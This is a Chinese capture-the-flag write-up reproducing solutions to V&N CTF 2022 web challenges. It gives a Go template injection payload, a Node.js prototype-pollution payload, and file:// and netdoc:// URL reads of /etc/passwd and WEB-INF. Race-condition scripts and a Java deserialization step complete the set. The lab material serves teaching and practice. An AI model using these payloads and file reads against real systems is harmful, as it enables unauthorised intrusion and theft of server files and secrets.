复现-V&N CTF 2022
GameV4.0
进入靶场
源代码中查询flag
,即可在data.js
文件中发现一串base64
编码字符串。
"ZmxhZw==": "Vk5DVEYlN0JXZWxjb21lX3RvX1ZOQ1RGMjAyMiU3RA=="
解码可得:
VNCTF%7BWelcome_to_VNCTF2022%7D
再次URL解码可得:
VNCTF{Welcome_to_VNCTF2022}
Gocalc0
靶场如图
点击flag在这里进入如下界面
非预测解
在页面的session
中藏有flag
的加密信息,直接base64
一把梭:
得到flag
:flag{d3691925-e314-4405-81c1-c519f6ea8560}
预期解
SSTI打到源码
像这种有输入的+计算器的一般可以考虑SSTI注入。
在输入框中输入以下语句:
{{printf "%+v" .}}
接着在本地启动一个相同的:
package main
import (
_ "embed"
"fmt"
"os"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8080"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/", func(c *gin.Context) {
session := sessions.Default(c)
println(session.Get("FLAG").(string))
})
r.Run(fmt.Sprintf(":%s", port))
}
最后,我们看他输出即可。
得到flag
:flag{d3691925-e314-4405-81c1-c519f6ea8560}
Newcalc0
nodejs原型链污染
payload:console.table([{a:1}],['__proto__'])
Easyjava
来源:V&N CTF 2022 Official WriteUp
-
读取文件
读取文件进行反编译
/file?url=file:///etc/passwd /file?url=file:///etc/passwd /file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF
-
代码审计
此点考察
servlet
的成员变量存在线程安全漏洞。
doGet里有如下判断其中有Secr3t判断发现是矛盾的。需要条件竞争
绕过第⼀个check,并且达到第二个check。竞争示例代码如下所示:
a.py
import requests host = "http://localhost:8089/ezjava/" while True: r = requests.get(host+"evi1?name=asdqwer") r.encoding = "utf-8" if r.text.find("The Key is")!=-1: print(r.text) if(r.text.replace(" ","")!=""): print(r.text)
b.py
import requests host = "http://localhost:8089/ezjava/" while True: r = requests.get(host+"evi1?name=vnctf2022") r.encoding = "utf-8" if r.text.find("The Key is")!=-1: print(r.text)
-
反序列化部分
User u = new User("m4n_q1u_666","666","180"); byte[] ustr = SerAndDe.serialize(u);
tips:transient关键字修饰的变量无法直接反序列化,所以在生成byte的时候需要重写⼀下writeObject,否则会自己的User对象的height值为空。
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{ s.defaultWriteObject(); //强制序列化name s.writeObject(this.height); }
最后拿着key和base64字符串打进入就行了。
InterestingPHP
RCE, redis主从复制,提权……
本文来自博客园,作者:sherlson,转载请注明原文链接:https://www.cnblogs.com/sherlson/articles/15931092.html